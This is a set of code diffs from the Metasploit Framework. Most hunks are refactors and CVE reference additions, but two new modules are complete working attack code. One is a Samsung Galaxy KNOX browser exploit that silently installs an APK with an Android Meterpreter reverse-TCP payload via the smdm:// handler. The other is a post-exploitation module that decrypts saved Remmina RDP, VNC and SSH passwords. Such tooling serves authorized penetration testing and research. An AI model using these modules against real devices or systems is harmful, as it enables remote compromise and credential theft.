while(task = self.queue.shift)
|
|
||||||
stime = Time.now.to_f
|
|
||||||
ret = process_task(task)
|
|
||||||
etime = Time.now.to_f
|
|
||||||
|
|
||||||
case ret
|
|
||||||
when :requeue
|
|
||||||
self.queue.push(task)
|
|
||||||
when :drop, :done
|
|
||||||
# Processed or dropped
|
|
||||||
end
|
|
||||||
cnt += 1
|
|
||||||
|
|
||||||
ltask = task
|
|
||||||
end
|
|
||||||
|
|
||||||
spin = (cnt == 0) ? (spin + 1) : 0
|
|
||||||
|
|
||||||
if spin > 10
|
|
||||||
::IO.select(nil, nil, nil, 0.25)
|
|
||||||
end
|
|
||||||
|
|
||||||
end
|
|
||||||
self.thread = nil
|
|
||||||
end
|
|
||||||
|
|
||||||
#
|
|
||||||
# Process a specific task from the queue
|
|
||||||
#
|
|
||||||
def process_task(task)
|
|
||||||
begin
|
|
||||||
if(task.timeout)
|
|
||||||
::Timeout.timeout(task.timeout) do
|
|
||||||
task.run(self, task)
|
|
||||||
end
|
|
||||||
else
|
|
||||||
task.run(self, task)
|
|
||||||
end
|
|
||||||
rescue ::ThreadError
|
|
||||||
# Ignore these (caused by a return inside of the proc)
|
|
||||||
rescue ::Exception => e
|
|
||||||
|
|
||||||
if(e.class == ::Timeout::Error)
|
|
||||||
elog("taskmanager: task #{task.inspect} timed out after #{task.timeout} seconds")
|
|
||||||
task.status = :timeout
|
|
||||||
task.completed = Time.now
|
|
||||||
return :drop
|
|
||||||
end
|
|
||||||
|
|
||||||
elog("taskmanager: task triggered an exception: #{e.class} #{e}")
|
|
||||||
elog("taskmanager: task proc: #{task.proc.inspect} ")
|
|
||||||
elog("taskmanager: task Call stack: \n#{task.source.join("\n")} ")
|
|
||||||
dlog("Call stack:\n#{$@.join("\n")}")
|
|
||||||
|
|
||||||
task.status = :dropped
|
|
||||||
task.exception = e
|
|
||||||
return :drop
|
|
||||||
|
|
||||||
end
|
|
||||||
task.status = :done
|
|
||||||
task.completed = Time.now
|
|
||||||
return :done
|
|
||||||
end
|
|
||||||
|
|
||||||
def log_error(msg)
|
|
||||||
elog(msg, 'core')
|
|
||||||
end
|
|
||||||
|
|
||||||
def log_debug(msg)
|
|
||||||
dlog(msg, 'core')
|
|
||||||
end
|
|
||||||
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
|
@ -28,6 +28,10 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
},
|
},
|
||||||
'Author' => [ 'K. Reid Wightman <wightman[at]digitalbond.com>' ],
|
'Author' => [ 'K. Reid Wightman <wightman[at]digitalbond.com>' ],
|
||||||
'License' => MSF_LICENSE,
|
'License' => MSF_LICENSE,
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
['CVE', '2012-6663'],
|
||||||
|
],
|
||||||
'DisclosureDate' => 'Jan 19 2012'
|
'DisclosureDate' => 'Jan 19 2012'
|
||||||
))
|
))
|
||||||
|
|
||||||
|
|
|
@ -29,7 +29,8 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
['OSVDB', '77455'],
|
['OSVDB', '77455'],
|
||||||
['BID', '50890'],
|
['BID', '50890'],
|
||||||
['EDB', '18189'],
|
['EDB', '18189'],
|
||||||
['URL', 'http://secpod.org/advisories/SecPod_Ipswitch_TFTP_Server_Dir_Trav.txt']
|
['URL', 'http://secpod.org/advisories/SecPod_Ipswitch_TFTP_Server_Dir_Trav.txt'],
|
||||||
|
['CVE', '2011-4722']
|
||||||
],
|
],
|
||||||
'DisclosureDate' => "Dec 12 2011"
|
'DisclosureDate' => "Dec 12 2011"
|
||||||
))
|
))
|
||||||
|
|
|
@ -225,7 +225,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
}
|
}
|
||||||
|
|
||||||
function bodyOnLoad() {
|
function bodyOnLoad() {
|
||||||
var detected_version = window.os_detect.getVersion();
|
var detected_version = os_detect.getVersion();
|
||||||
//#{js_debug('detected_version')}
|
//#{js_debug('detected_version')}
|
||||||
report_and_get_exploits(detected_version);
|
report_and_get_exploits(detected_version);
|
||||||
} // function bodyOnLoad
|
} // function bodyOnLoad
|
||||||
|
@ -851,7 +851,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
return !! client_str.match(module_spec)
|
return !! client_str.match(module_spec)
|
||||||
when ::Array
|
when ::Array
|
||||||
return !! exploit_spec.map{ |spec|
|
return !! exploit_spec.map{ |spec|
|
||||||
client_matches_module_spec?(client_str, spec)
|
client_matches_module_spec?(client_str, spec)
|
||||||
}.include?(true)
|
}.include?(true)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -935,7 +935,6 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
detected_version = Rex::Text.decode_base64(Rex::Text.uri_decode(detected_version))
|
detected_version = Rex::Text.decode_base64(Rex::Text.uri_decode(detected_version))
|
||||||
print_status("JavaScript Report: #{detected_version}")
|
print_status("JavaScript Report: #{detected_version}")
|
||||||
|
|
||||||
|
|
||||||
(os_name, os_vendor, os_flavor, os_device, os_sp, os_lang, arch, ua_name, ua_ver) = detected_version.split(':')
|
(os_name, os_vendor, os_flavor, os_device, os_sp, os_lang, arch, ua_name, ua_ver) = detected_version.split(':')
|
||||||
|
|
||||||
if framework.db.active
|
if framework.db.active
|
||||||
|
@ -947,7 +946,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
note_data['os.version'] = os_sp if os_sp != 'undefined'
|
note_data['os.version'] = os_sp if os_sp != 'undefined'
|
||||||
note_data['os.language'] = os_lang if os_lang != 'undefined'
|
note_data['os.language'] = os_lang if os_lang != 'undefined'
|
||||||
note_data['os.arch'] = arch if arch != 'undefined'
|
note_data['os.arch'] = arch if arch != 'undefined'
|
||||||
note_data['os.certainty'] = '0.7'
|
note_data['os.certainty'] = '0.7'
|
||||||
print_status("Reporting: #{note_data.inspect}")
|
print_status("Reporting: #{note_data.inspect}")
|
||||||
|
|
||||||
# Reporting stuff isn't really essential since we store all
|
# Reporting stuff isn't really essential since we store all
|
||||||
|
|
|
@ -31,6 +31,13 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
deregister_options('RHOST', 'PCAPFILE')
|
deregister_options('RHOST', 'PCAPFILE')
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def setup
|
||||||
|
super
|
||||||
|
unless datastore['SMAC'] || datastore['INTERFACE']
|
||||||
|
raise ArgumentError, 'Must specify SMAC or INTERFACE'
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
def build_dtp_frame
|
def build_dtp_frame
|
||||||
p = PacketFu::EthPacket.new
|
p = PacketFu::EthPacket.new
|
||||||
p.eth_daddr = '01:00:0c:cc:cc:cc'
|
p.eth_daddr = '01:00:0c:cc:cc:cc'
|
||||||
|
|
|
@ -67,6 +67,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
while @run # Not exactly thrilled we can never turn this off XXX fix this sometime.
|
while @run # Not exactly thrilled we can never turn this off XXX fix this sometime.
|
||||||
packet, addr = @sock.recvfrom(512)
|
packet, addr = @sock.recvfrom(512)
|
||||||
|
src_port = addr[1]
|
||||||
rhost = addr[3]
|
rhost = addr[3]
|
||||||
|
|
||||||
break if packet.length == 0
|
break if packet.length == 0
|
||||||
|
@ -127,7 +128,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
p.ip_daddr = rhost
|
p.ip_daddr = rhost
|
||||||
p.ip_ttl = 255
|
p.ip_ttl = 255
|
||||||
p.udp_sport = 137
|
p.udp_sport = 137
|
||||||
p.udp_dport = 137
|
p.udp_dport = src_port
|
||||||
p.payload = response
|
p.payload = response
|
||||||
p.recalc
|
p.recalc
|
||||||
|
|
||||||
|
|
|
@ -0,0 +1,162 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
require 'digest/md5'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::BrowserExploitServer
|
||||||
|
|
||||||
|
# Hash that maps payload ID -> (0|1) if an HTTP request has
|
||||||
|
# been made to download a payload of that ID
|
||||||
|
attr_reader :served_payloads
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Samsung Galaxy KNOX Android Browser RCE',
|
||||||
|
'Description' => %q{
|
||||||
|
A vulnerability exists in the KNOX security component of the Samsung Galaxy
|
||||||
|
firmware that allows a remote webpage to install an APK with arbitrary
|
||||||
|
permissions by abusing the 'smdm://' protocol handler registered by the KNOX
|
||||||
|
component.
|
||||||
|
|
||||||
|
The vulnerability has been confirmed in the Samsung Galaxy S4, S5, Note 3,
|
||||||
|
and Ace 4.
|
||||||
|
},
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' => [
|
||||||
|
'Andre Moulu', # discovery and advisory
|
||||||
|
'joev' # msf module
|
||||||
|
],
|
||||||
|
'References' => [
|
||||||
|
['URL', 'http://blog.quarkslab.com/abusing-samsung-knox-to-remotely-install-a-malicious-application-story-of-a-half-patched-vulnerability.html'],
|
||||||
|
['OSVDB', '114590']
|
||||||
|
],
|
||||||
|
'Platform' => 'android',
|
||||||
|
'Arch' => ARCH_DALVIK,
|
||||||
|
'DefaultOptions' => { 'PAYLOAD' => 'android/meterpreter/reverse_tcp' },
|
||||||
|
'Targets' => [ [ 'Automatic', {} ] ],
|
||||||
|
'DisclosureDate' => 'Nov 12 2014',
|
||||||
|
'DefaultTarget' => 0,
|
||||||
|
|
||||||
|
'BrowserRequirements' => {
|
||||||
|
:source => 'script',
|
||||||
|
:os_name => OperatingSystems::Match::ANDROID
|
||||||
|
}
|
||||||
|
))
|
||||||
|
|
||||||
|
register_options([
|
||||||
|
OptString.new('APK_VERSION', [
|
||||||
|
false, "The update version to advertise to the client", "1337"
|
||||||
|
])
|
||||||
|
], self.class)
|
||||||
|
|
||||||
|
deregister_options('JsObfuscate')
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
@served_payloads = Hash.new(0)
|
||||||
|
super
|
||||||
|
end
|
||||||
|
|
||||||
|
def apk_bytes
|
||||||
|
payload.encoded
|
||||||
|
end
|
||||||
|
|
||||||
|
def on_request_uri(cli, req)
|
||||||
|
if req.uri =~ /\/([a-zA-Z0-9]+)\.apk\/latest$/
|
||||||
|
if req.method.upcase == 'HEAD'
|
||||||
|
print_status "Serving metadata..."
|
||||||
|
send_response(cli, '', magic_headers)
|
||||||
|
else
|
||||||
|
print_status "Serving payload '#{$1}'..."
|
||||||
|
@served_payloads[$1] = 1
|
||||||
|
send_response(cli, apk_bytes, magic_headers)
|
||||||
|
end
|
||||||
|
elsif req.uri =~ /_poll/
|
||||||
|
vprint_debug "Polling #{req.qstring['id']}: #{@served_payloads[req.qstring['id']]}"
|
||||||
|
send_response(cli, @served_payloads[req.qstring['id']].to_s, 'Content-type' => 'text/plain')
|
||||||
|
elsif req.uri =~ /launch$/
|
||||||
|
send_response_html(cli, launch_html)
|
||||||
|
else
|
||||||
|
super
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
# The browser appears to be vulnerable, serve the exploit
|
||||||
|
def on_request_exploit(cli, req, browser)
|
||||||
|
print_status "Serving exploit..."
|
||||||
|
send_response_html(cli, generate_html)
|
||||||
|
end
|
||||||
|
|
||||||
|
def magic_headers
|
||||||
|
{ 'Content-Length' => apk_bytes.length,
|
||||||
|
'ETag' => Digest::MD5.hexdigest(apk_bytes),
|
||||||
|
'x-amz-meta-apk-version' => datastore['APK_VERSION'] }
|
||||||
|
end
|
||||||
|
|
||||||
|
def generate_html
|
||||||
|
%Q|
|
||||||
|
<!doctype html>
|
||||||
|
<html><body>
|
||||||
|
<script>
|
||||||
|
#{exploit_js}
|
||||||
|
</script></body></html>
|
||||||
|
|
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit_js
|
||||||
|
payload_id = rand_word
|
||||||
|
|
||||||
|
js_obfuscate %Q|
|
||||||
|
|
||||||
|
function poll() {
|
||||||
|
var xhr = new XMLHttpRequest();
|
||||||
|
xhr.open('GET', '_poll?id=#{payload_id}&d='+Math.random()*999999999999);
|
||||||
|
xhr.onreadystatechange = function(){
|
||||||
|
if (xhr.readyState == 4) {
|
||||||
|
if (xhr.responseText == '1') {
|
||||||
|
setTimeout(killEnrollment, 100);
|
||||||
|
} else {
|
||||||
|
setTimeout(poll, 1000);
|
||||||
|
setTimeout(enroll, 0);
|
||||||
|
setTimeout(enroll, 500);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
};
|
||||||
|
xhr.onerror = function(){
|
||||||
|
setTimeout(poll, 1000);
|
||||||
|
setTimeout(enroll, 0);
|
||||||
|
};
|
||||||
|
xhr.send();
|
||||||
|
}
|
||||||
|
|
||||||
|
function enroll() {
|
||||||
|
var loc = window.location.href.replace(/[/.]$/g, '');
|
||||||
|
top.location = 'smdm://#{rand_word}?update_url='+
|
||||||
|
encodeURIComponent(loc)+'/#{payload_id}.apk';
|
||||||
|
}
|
||||||
|
|
||||||
|
function killEnrollment() {
|
||||||
|
top.location = "intent://#{rand_word}?program="+
|
||||||
|
"#{rand_word}/#Intent;scheme=smdm;launchFlags=268468256;end";
|
||||||
|
setTimeout(launchApp, 300);
|
||||||
|
}
|
||||||
|
|
||||||
|
function launchApp() {
|
||||||
|
top.location='intent:view#Intent;SEL;component=com.metasploit.stage/.MainActivity;end';
|
||||||
|
}
|
||||||
|
|
||||||
|
enroll();
|
||||||
|
setTimeout(poll,600);
|
||||||
|
|
||||||
|
|
|
||||||
|
end
|
||||||
|
|
||||||
|
def rand_word
|
||||||
|
Rex::Text.rand_text_alphanumeric(3+rand(12))
|
||||||
|
end
|
||||||
|
end
|
|
@ -163,15 +163,15 @@ class Metasploit3 < Msf::Exploit::Local
|
||||||
|
|
||||||
def check_dirs
|
def check_dirs
|
||||||
print_status("Attempting to create a non-existant PATH dir to use.")
|
print_status("Attempting to create a non-existant PATH dir to use.")
|
||||||
@non_existant_dirs.each do |dir|
|
@non_existant_dirs.each do |directory|
|
||||||
begin
|
begin
|
||||||
client.fs.dir.mkdir(dir)
|
client.fs.dir.mkdir(directory)
|
||||||
if exist?(dir)
|
if exist?(directory)
|
||||||
register_file_for_cleanup(dir)
|
register_file_for_cleanup(directory)
|
||||||
return dir
|
return directory
|
||||||
end
|
end
|
||||||
rescue Rex::Post::Meterpreter::RequestError => e
|
rescue Rex::Post::Meterpreter::RequestError => e
|
||||||
vprint_status("Unable to create dir: #{dir} - #{e}")
|
vprint_status("Unable to create dir: #{directory} - #{e}")
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -230,7 +230,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
psexec(file_location, false, servicedescription, servicename, displayname)
|
psexec(file_location, false, servicedescription, servicename, displayname)
|
||||||
|
|
||||||
print_status("Deleting \\#{filename}...")
|
print_status("Deleting \\#{filename}...")
|
||||||
sleep(1)
|
|
||||||
#This is not really useful but will prevent double \\ on the wire :)
|
#This is not really useful but will prevent double \\ on the wire :)
|
||||||
if datastore['SHARE'] =~ /.[\\\/]/
|
if datastore['SHARE'] =~ /.[\\\/]/
|
||||||
simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}")
|
simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}")
|
||||||
|
|
|
@ -31,7 +31,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
[
|
[
|
||||||
['OSVDB', '80984'],
|
['OSVDB', '80984'],
|
||||||
['EDB', '18718'],
|
['EDB', '18718'],
|
||||||
['URL', 'http://www.spentera.com/advisories/2012/SPN-01-2012.pdf']
|
['URL', 'http://www.spentera.com/advisories/2012/SPN-01-2012.pdf'],
|
||||||
|
['CVE', '2012-6664']
|
||||||
],
|
],
|
||||||
'Payload' =>
|
'Payload' =>
|
||||||
{
|
{
|
||||||
|
|
|
@ -0,0 +1,188 @@
|
||||||
|
# encoding: binary
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Post
|
||||||
|
include Msf::Post::File
|
||||||
|
include Msf::Post::Unix
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(
|
||||||
|
info,
|
||||||
|
'Name' => 'UNIX Gather Remmina Credentials',
|
||||||
|
'Description' => %q(
|
||||||
|
Post module to obtain credentials saved for RDP and VNC from Remmina's configuration files.
|
||||||
|
These are encrypted with 3DES using a 256-bit key generated by Remmina which is (by design)
|
||||||
|
stored in (relatively) plain text in a file that must be properly protected.
|
||||||
|
),
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' => ['Jon Hart <jon_hart[at]rapid7.com>'],
|
||||||
|
'Platform' => %w(bsd linux osx unix),
|
||||||
|
'SessionTypes' => %w(shell meterpreter)
|
||||||
|
))
|
||||||
|
end
|
||||||
|
|
||||||
|
def run
|
||||||
|
creds = extract_all_creds
|
||||||
|
creds.uniq!
|
||||||
|
if creds.empty?
|
||||||
|
vprint_status('No Reminna credentials collected')
|
||||||
|
else
|
||||||
|
vprint_good("Collected #{creds.size} sets of Remmina credentials")
|
||||||
|
cred_table = Rex::Ui::Text::Table.new(
|
||||||
|
'Header' => 'Remmina Credentials',
|
||||||
|
'Indent' => 1,
|
||||||
|
'Columns' => %w(Host Port Service User Password)
|
||||||
|
)
|
||||||
|
|
||||||
|
creds.each do |cred|
|
||||||
|
cred_table << cred
|
||||||
|
report_credential(cred[3], cred[4])
|
||||||
|
end
|
||||||
|
|
||||||
|
print_line(cred_table.to_s)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def decrypt(secret, data)
|
||||||
|
c = OpenSSL::Cipher::Cipher.new('des3')
|
||||||
|
key_data = Base64.decode64(secret)
|
||||||
|
# the key is the first 24 bytes of the secret
|
||||||
|
c.key = key_data[0, 24]
|
||||||
|
# the IV is the last 8 bytes of the secret
|
||||||
|
c.iv = key_data[24, 8]
|
||||||
|
# passwords less than 16 characters are padded with nulls
|
||||||
|
c.padding = 0
|
||||||
|
c.decrypt
|
||||||
|
p = c.update(Base64.decode64(data))
|
||||||
|
p << c.final
|
||||||
|
# trim null-padded, < 16 character passwords
|
||||||
|
p.gsub(/\x00*$/, '')
|
||||||
|
end
|
||||||
|
|
||||||
|
# Extracts all remmina creds found anywhere on the target
|
||||||
|
def extract_all_creds
|
||||||
|
creds = []
|
||||||
|
user_dirs = enum_user_directories
|
||||||
|
if user_dirs.empty?
|
||||||
|
print_error('No user directories found')
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
vprint_status("Searching for Remmina creds in #{user_dirs.size} user directories")
|
||||||
|
# walk through each user directory
|
||||||
|
enum_user_directories.each do |user_dir|
|
||||||
|
remmina_dir = ::File.join(user_dir, '.remmina')
|
||||||
|
pref_file = ::File.join(remmina_dir, 'remmina.pref')
|
||||||
|
next unless file?(pref_file)
|
||||||
|
|
||||||
|
remmina_prefs = get_settings(pref_file)
|
||||||
|
next if remmina_prefs.empty?
|
||||||
|
|
||||||
|
if (secret = remmina_prefs['secret'])
|
||||||
|
vprint_status("Extracted secret #{secret} from #{pref_file}")
|
||||||
|
else
|
||||||
|
print_error("No Remmina secret key found in #{pref_file}")
|
||||||
|
next
|
||||||
|
end
|
||||||
|
|
||||||
|
# look for any \d+\.remmina files which contain the creds
|
||||||
|
cred_files = dir(remmina_dir).map do |entry|
|
||||||
|
::File.join(remmina_dir, entry) if entry =~ /^\d+\.remmina$/
|
||||||
|
end
|
||||||
|
cred_files.compact!
|
||||||
|
|
||||||
|
if cred_files.empty?
|
||||||
|
vprint_status("No Remmina credential files in #{remmina_dir}")
|
||||||
|
else
|
||||||
|
creds |= extract_creds(secret, cred_files)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
creds
|
||||||
|
end
|
||||||
|
|
||||||
|
def extract_creds(secret, files)
|
||||||
|
creds = []
|
||||||
|
files.each do |file|
|
||||||
|
settings = get_settings(file)
|
||||||
|
next if settings.empty?
|
||||||
|
|
||||||
|
# get protocol, host, user
|
||||||
|
proto = settings['protocol']
|
||||||
|
host = settings['server']
|
||||||
|
case proto
|
||||||
|
when 'RDP'
|
||||||
|
port = 3389
|
||||||
|
user = settings['username']
|
||||||
|
when 'VNC'
|
||||||
|
port = 5900
|
||||||
|
domain = settings['domain']
|
||||||
|
if domain.blank?
|
||||||
|
user = settings['username']
|
||||||
|
else
|
||||||
|
user = domain + '\\' + settings['username']
|
||||||
|
end
|
||||||
|
when 'SFTP', 'SSH'
|
||||||
|
# XXX: in my testing, the box to save SSH passwords was disabled
|
||||||
|
# so this may never work
|
||||||
|
user = settings['ssh_username']
|
||||||
|
port = 22
|
||||||
|
else
|
||||||
|
print_error("Unsupported protocol: #{proto}")
|
||||||
|
next
|
||||||
|
end
|
||||||
|
|
||||||
|
# get the password
|
||||||
|
encrypted_password = settings['password']
|
||||||
|
password = nil
|
||||||
|
unless encrypted_password.blank?
|
||||||
|
password = decrypt(secret, encrypted_password)
|
||||||
|
end
|
||||||
|
|
||||||
|
if host && user && password
|
||||||
|
creds << [ host, port, proto.downcase, user, password ]
|
||||||
|
else
|
||||||
|
missing = []
|
||||||
|
missing << 'host' unless host
|
||||||
|
missing << 'user' unless user
|
||||||
|
missing << 'password' unless password
|
||||||
|
vprint_error("No #{missing.join(',')} in #{file}")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
creds
|
||||||
|
end
|
||||||
|
|
||||||
|
# Reads key=value pairs from the specified file, returning them as a Hash of key => value
|
||||||
|
def get_settings(file)
|
||||||
|
settings = {}
|
||||||
|
read_file(file).split("\n").each do |line|
|
||||||
|
if /^\s*(?<setting>[^#][^=]+)=(?<value>.*)/ =~ line
|
||||||
|
settings[setting] = value
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
vprint_error("No settings found in #{file}") if settings.empty?
|
||||||
|
settings
|
||||||
|
end
|
||||||
|
|
||||||
|
def report_credential(user, pass)
|
||||||
|
credential_data = {
|
||||||
|
workspace_id: myworkspace_id,
|
||||||
|
origin_type: :session,
|
||||||
|
session_id: session_db_id,
|
||||||
|
post_reference_name: self.refname,
|
||||||
|
username: user,
|
||||||
|
private_data: pass,
|
||||||
|
private_type: :password
|
||||||
|
}
|
||||||
|
|
||||||
|
create_credential(credential_data)
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
|
@ -171,10 +171,10 @@ class Metasploit3 < Msf::Post
|
||||||
end
|
end
|
||||||
|
|
||||||
def check_bulletproof(user_dir)
|
def check_bulletproof(user_dir)
|
||||||
session.fs.dir.foreach(user_dir) do |dir|
|
session.fs.dir.foreach(user_dir) do |directory|
|
||||||
if dir =~ /BulletProof Software/
|
if directory =~ /BulletProof Software/
|
||||||
vprint_status("BulletProof Data Directory found at #{user_dir}\\#{dir}")
|
vprint_status("BulletProof Data Directory found at #{user_dir}\\#{directory}")
|
||||||
return "#{user_dir}\\#{dir}"#"\\BulletProof FTP Client\\2010\\sites\\Bookmarks"
|
return "#{user_dir}\\#{directory}"#"\\BulletProof FTP Client\\2010\\sites\\Bookmarks"
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
return nil
|
return nil
|
||||||
|
|
65
msfcli
65
msfcli
|
@ -16,10 +16,20 @@ require 'rex'
|
||||||
|
|
||||||
|
|
||||||
class Msfcli
|
class Msfcli
|
||||||
|
#
|
||||||
|
# Attributes
|
||||||
|
#
|
||||||
|
|
||||||
|
# @attribute framework
|
||||||
|
# @return [Msf::Simple::Framework]
|
||||||
|
|
||||||
|
#
|
||||||
|
# initialize
|
||||||
|
#
|
||||||
|
|
||||||
def initialize(args)
|
def initialize(args)
|
||||||
@args = {}
|
@args = {}
|
||||||
@indent = ' '
|
@indent = ' '
|
||||||
@framework = nil
|
|
||||||
|
|
||||||
@args[:module_name] = args.shift # First argument should be the module name
|
@args[:module_name] = args.shift # First argument should be the module name
|
||||||
@args[:mode] = args.pop || 'h' # Last argument should be the mode
|
@args[:mode] = args.pop || 'h' # Last argument should be the mode
|
||||||
|
@ -31,6 +41,28 @@ class Msfcli
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Instance Methods
|
||||||
|
#
|
||||||
|
|
||||||
|
# The framework to create and list modules.
|
||||||
|
#
|
||||||
|
# @return [Msf::Simple::Framework]
|
||||||
|
def framework
|
||||||
|
@framework ||= Msf::Simple::Framework.create({'DeferModuleLoads'=>true})
|
||||||
|
end
|
||||||
|
|
||||||
|
# Sets {#framework}.
|
||||||
|
#
|
||||||
|
# @raise [ArgumentError] if {#framework} already set
|
||||||
|
def framework=(framework)
|
||||||
|
if instance_variable_defined? :@framework
|
||||||
|
fail ArgumentError.new("framework already set")
|
||||||
|
end
|
||||||
|
|
||||||
|
@framework = framework
|
||||||
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
# Returns a usage Rex table
|
# Returns a usage Rex table
|
||||||
#
|
#
|
||||||
|
@ -73,7 +105,7 @@ class Msfcli
|
||||||
# msfcli will end up loading EVERYTHING to memory to show you a help
|
# msfcli will end up loading EVERYTHING to memory to show you a help
|
||||||
# menu plus a list of modules available. Really expensive if you ask me.
|
# menu plus a list of modules available. Really expensive if you ask me.
|
||||||
$stdout.puts "[*] Please wait while we load the module tree..."
|
$stdout.puts "[*] Please wait while we load the module tree..."
|
||||||
framework = Msf::Simple::Framework.create
|
self.framework = Msf::Simple::Framework.create
|
||||||
ext = ''
|
ext = ''
|
||||||
|
|
||||||
tbl = Rex::Ui::Text::Table.new(
|
tbl = Rex::Ui::Text::Table.new(
|
||||||
|
@ -283,7 +315,6 @@ class Msfcli
|
||||||
# Initializes exploit/payload/encoder/nop modules.
|
# Initializes exploit/payload/encoder/nop modules.
|
||||||
#
|
#
|
||||||
def init_modules
|
def init_modules
|
||||||
@framework = Msf::Simple::Framework.create({'DeferModuleLoads'=>true})
|
|
||||||
$stdout.puts "[*] Initializing modules..."
|
$stdout.puts "[*] Initializing modules..."
|
||||||
|
|
||||||
module_name = @args[:module_name]
|
module_name = @args[:module_name]
|
||||||
|
@ -297,11 +328,11 @@ class Msfcli
|
||||||
whitelist = generate_whitelist
|
whitelist = generate_whitelist
|
||||||
|
|
||||||
# Load up all the possible modules, this is where things get slow again
|
# Load up all the possible modules, this is where things get slow again
|
||||||
@framework.init_module_paths({:whitelist=>whitelist})
|
framework.init_module_paths({:whitelist=>whitelist})
|
||||||
if (@framework.modules.module_load_error_by_path.length > 0)
|
if (framework.modules.module_load_error_by_path.length > 0)
|
||||||
print("Warning: The following modules could not be loaded!\n\n")
|
print("Warning: The following modules could not be loaded!\n\n")
|
||||||
|
|
||||||
@framework.modules.module_load_error_by_path.each do |path, error|
|
framework.modules.module_load_error_by_path.each do |path, error|
|
||||||
print("\t#{path}: #{error}\n\n")
|
print("\t#{path}: #{error}\n\n")
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -310,16 +341,16 @@ class Msfcli
|
||||||
|
|
||||||
# Determine what type of module it is
|
# Determine what type of module it is
|
||||||
if module_name =~ /exploit\/(.*)/
|
if module_name =~ /exploit\/(.*)/
|
||||||
modules[:module] = @framework.exploits.create($1)
|
modules[:module] = framework.exploits.create($1)
|
||||||
elsif module_name =~ /auxiliary\/(.*)/
|
elsif module_name =~ /auxiliary\/(.*)/
|
||||||
modules[:module] = @framework.auxiliary.create($1)
|
modules[:module] = framework.auxiliary.create($1)
|
||||||
elsif module_name =~ /post\/(.*)/
|
elsif module_name =~ /post\/(.*)/
|
||||||
modules[:module] = @framework.post.create($1)
|
modules[:module] = framework.post.create($1)
|
||||||
else
|
else
|
||||||
modules[:module] = @framework.exploits.create(module_name)
|
modules[:module] = framework.exploits.create(module_name)
|
||||||
if modules[:module].nil?
|
if modules[:module].nil?
|
||||||
# Try falling back on aux modules
|
# Try falling back on aux modules
|
||||||
modules[:module] = @framework.auxiliary.create(module_name)
|
modules[:module] = framework.auxiliary.create(module_name)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -342,7 +373,7 @@ class Msfcli
|
||||||
|
|
||||||
# Create the payload to use
|
# Create the payload to use
|
||||||
if (modules[:module].datastore['PAYLOAD'])
|
if (modules[:module].datastore['PAYLOAD'])
|
||||||
modules[:payload] = @framework.payloads.create(modules[:module].datastore['PAYLOAD'])
|
modules[:payload] = framework.payloads.create(modules[:module].datastore['PAYLOAD'])
|
||||||
if modules[:payload]
|
if modules[:payload]
|
||||||
modules[:payload].datastore.import_options_from_s(@args[:params].join('_|_'), '_|_')
|
modules[:payload].datastore.import_options_from_s(@args[:params].join('_|_'), '_|_')
|
||||||
end
|
end
|
||||||
|
@ -350,7 +381,7 @@ class Msfcli
|
||||||
|
|
||||||
# Create the encoder to use
|
# Create the encoder to use
|
||||||
if modules[:module].datastore['ENCODER']
|
if modules[:module].datastore['ENCODER']
|
||||||
modules[:encoder] = @framework.encoders.create(modules[:module].datastore['ENCODER'])
|
modules[:encoder] = framework.encoders.create(modules[:module].datastore['ENCODER'])
|
||||||
if modules[:encoder]
|
if modules[:encoder]
|
||||||
modules[:encoder].datastore.import_options_from_s(@args[:params].join('_|_'), '_|_')
|
modules[:encoder].datastore.import_options_from_s(@args[:params].join('_|_'), '_|_')
|
||||||
end
|
end
|
||||||
|
